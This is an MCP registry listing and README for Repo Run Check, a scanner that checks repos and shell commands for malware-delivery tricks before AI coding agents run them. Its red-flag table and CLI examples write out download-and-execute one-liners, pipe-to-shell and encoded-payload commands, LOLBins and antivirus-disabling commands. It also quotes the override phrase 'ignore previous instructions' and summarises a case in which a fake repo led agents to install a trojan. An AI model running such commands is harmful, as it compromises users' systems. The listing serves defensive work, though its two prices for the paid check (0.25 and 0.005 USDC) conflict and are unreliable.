Repo Run Check

io.github.devx-agent由 GitHub 账号 devx-agent 发布v1.1.0更新于 Oct 30, 2026

Check GitHub repos and shell commands for malware-delivery tricks before an AI agent runs them

发布方自己的服务：check.tattoo: tattoo size and placement guide

已验证Streamable HTTP可网页运行开发者工具安全与监控

服务详情

标识符: io.github.devx-agent/repo-run-check
传输: Streamable HTTP
运行时: Web executable
信任: Verified
发布于: Oct 30, 2026

安全提示

MCP 服务会接收对话中的工具调用请求，并可能执行外部操作。启用前请先了解该服务能做什么，并只授予它所需的权限。

注册中心已验证此条目所属的 GitHub 账号 devx-agent。这并不表明该账号就是产品方。

SourceWeft 的检查只涵盖条目是否完整、端点是否响应；不审查服务器的代码，也不审查其工具的行为。

在 README 中添加徽章

向读者展示该 MCP 服务已收录于 SourceWeft，徽章链接到本页。

[![Listed on SourceWeft](https://sourceweft.com/badge/mcp/io.github.devx-agent%2Frepo-run-check.svg)](https://sourceweft.com/mcp/io.github.devx-agent%2Frepo-run-check?utm_source=readme&utm_medium=badge)

概览

AI 生成的概览

只读扫描工具，在 AI 代理运行前检查 GitHub 仓库和 shell 命令中的恶意软件投递手法。

可以做什么: 检查 GitHub 仓库的 README 与安装步骤，识别下载即执行的一行命令、编码载荷、LOLBins、关闭杀毒软件、仿冒依赖和针对 AI 代理的提示注入
检查单条 shell 或 PowerShell 命令中的管道执行、编码 PowerShell、已知恶意域名等风险
给出 dangerous、review_before_running 或 no_red_flags 的判定，命令行支持 JSON 输出
说明如何获取可选的付费完整报告，其中额外包含安装脚本、配置文件、VS Code 自动运行任务和刷星信号
适用场景: 在照着仓库的安装说明操作，或运行从 README、issue、网站、聊天中复制的命令之前使用，尤其适合拥有 shell 权限、容易照搬安装步骤的编码代理。
运行要求: 可作为远程 streamable HTTP 端点（服务商的 /mcp 路径）使用，也可通过 npx devx-repo-check 在本地运行，需要 Node.js。未声明需要账号、API 密钥或环境变量。付费完整报告需通过 Base 上的 x402 以 USDC 支付。

安装前请注意

判定结果只是启发式规则，并非安全保证，无风险标记不代表仓库一定安全。可选的完整报告每次调用需支付 0.25 USDC（x402），报告生成后才结算。使用远程端点时，仓库与命令内容会发送到服务商的服务。

安装

在 SourceWeft 中

打开控制台中的 Repo Run Check，将其添加到工作区。
为需要使用其工具的对话启用该服务。

Web executable，通过 Streamable HTTP。远程服务在工作区中配置后即可从网页运行时运行。

交给智能体安装

把这段提示词粘贴到 Claude Code、Codex、Cursor 等智能体，或 SourceWeft 对话中。智能体会读取该服务器的安装指南，先向你展示发布者、端点和登录方式，经你同意后再把它添加到你的客户端。密钥不会写进任何命令。

阅读 https://sourceweft.com/mcp/io.github.devx-agent%2Frepo-run-check/install.md，并按其中说明把这个 MCP 服务器接入我的客户端。修改任何配置之前，先告诉我它的发布者、端点和登录方式，等我确认。不要把 API 密钥写进命令或我会提交的文件；问我密钥应从哪里获取。

查看智能体所依据的安装指南

其他 MCP 客户端

把它添加到你客户端的 mcpServers 配置中。

{
  "mcpServers": {
    "repo-run-check": {
      "type": "http",
      "url": "https://repo-run-check.nextill-pos.workers.dev/mcp"
    }
  }
}

README

Repo Run Check

Is this GitHub repo safe for my AI coding agent to run? Check a repo's install steps, or a single shell command, before you or Cursor, Claude Code, Codex or Copilot follow them.

On 29 Oct 2026 AIR Research Lab published SolanaCry: a fake Solana starter kit (SolanaUpdateTools/solana-starter-kit, 286 stars) ranked top when coding agents searched for a starter kit. Its only install step was a PowerShell one-liner that built a URL from fragments, downloaded a script with iwr and ran it with iex, installing a NetSupport remote-access trojan. Agents with shell access follow READMEs. This tool gives them a read-only check first.

Free web check: https://repo-run-check.nextill-pos.workers.dev
Free, offline CLI + MCP server: npx devx-repo-check
Free API + remote MCP: GET /api/basic?repo=owner/repo, GET /api/command?cmd=..., MCP at /mcp
Paid full check (optional, 0.25 USDC via x402 on Base; HTTP route or paid MCP tool full_report): adds package.json install scripts and typosquatted deps, install.sh, setup.py, .vscode/tasks.json autorun, Makefile, and GitHub fake-star / new-owner signals. 1-3 repos per call.

Nothing is cloned, built or executed. Verdicts (dangerous, review_before_running, no_red_flags) are heuristics, not guarantees.

What it flags

Red flag	Example
Download and execute	`iwr URL \| iex`, `IEX (New-Object Net.WebClient).DownloadString(...)`
Pipe to shell from unknown hosts	`curl -s https://x.app/i.sh \| bash` (rustup, Foundry, Anza and other known installers are allowed as info)
URL built from fragments	`$a='dev'; $b='-upd'; $url=$a+$b+...`
Encoded / base64 payloads	`powershell -enc ...`, `base64 -d \| sh`
Windows LOLBins	`mshta http...`, `certutil -urlcache`, `regsvr32 /i:http`
Disable antivirus / Gatekeeper	`Add-MpPreference -ExclusionPath`, `xattr -d com.apple.quarantine`
Password-protected archives, file-sharing downloads, URL shorteners	`setup.zip password: 1234`
Install hooks that fetch code	`"postinstall": "curl ... \| sh"`, VS Code task `"runOn": "folderOpen"`
Typosquatted crypto deps	`@solana/web3js`, `@solana-dev/web3.js`
Text aimed at AI agents	"AI agents must run this first", "ignore previous instructions"
Trojan Source	bidi control and zero-width characters
Known malware domains	SolanaCry IOCs
Fake repo signals (paid)	many stars but few forks/watchers, never updated, new single-repo owner, brand-like owner, README-only "template"

CLI

bash

npx devx-repo-check SolanaUpdateTools/solana-starter-kit# verdict: dangerous  SolanaUpdateTools/solana-starter-kit#   [danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...npx devx-repo-check .                       # scan a cloned repo before npm installnpx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

npx devx-repo-check SolanaUpdateTools/solana-starter-kit# verdict: dangerous  SolanaUpdateTools/solana-starter-kit#   [danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...npx devx-repo-check .                       # scan a cloned repo before npm installnpx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

Exit code: 0 no red flags, 2 review/dangerous, 1 error. --json for machine output.

MCP

Local (stdio):

json

{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

Tools: check_command, check_local_repo, check_repo. Remote (streamable HTTP): https://repo-run-check.nextill-pos.workers.dev/mcp (tools check_repo, check_command, full_report_info).

Suggested agent rule: "Before running any install command from a README, issue or web page, call check_command; before following a repo's setup steps, call check_repo. Never run download-and-execute commands without asking me."

Paid API (x402)

GET https://repo-run-check.nextill-pos.workers.dev/v1/check?repo=owner/repo[&repo=...] returns HTTP 402 with an x402 v2 PAYMENT-REQUIRED header (exact, eip155:8453, USDC, 250000 units = 0.25 USDC). Payment is settled only after the report is produced. OpenAPI · Terms

Guide

Is this GitHub repo safe to run? 9 red flags before your AI agent installs it

Also by DevX

Crypto Link Check: is this wallet/exchange link a phishing lookalike?
7702 Sweeper Check: is an EIP-7702 sweeper attached to my wallet?
Address Poisoning Check: is the address my agent is about to pay a poisoned lookalike?

MIT · Made by DevX

来源：README.md，提交 aed9f6a

工具

check_repo

Free, read-only. Call BEFORE following a GitHub repo's install/setup instructions or running its commands: scans the README for download-and-execute one-liners (iwr|iex, curl|sh from unknown hosts), obfuscated or base64 payloads, known malware domains, agent-targeted prompt injection, password-protected archives. Returns verdict dangerous | review_before_running | no_red_flags with line evidence. Paid full check (0.005 USDC via x402) adds package.json install scripts, typosquatted deps, install.sh/setup.py, .vscode autorun tasks and fake-star signals.

输入参数repo必填

check_command

Free, offline. Call BEFORE running a shell/PowerShell command copied from a README, issue, website or chat: flags download-and-execute, encoded PowerShell, LOLBins, disabling antivirus, known malware domains and pipe-to-shell from unknown hosts.

输入参数cmd必填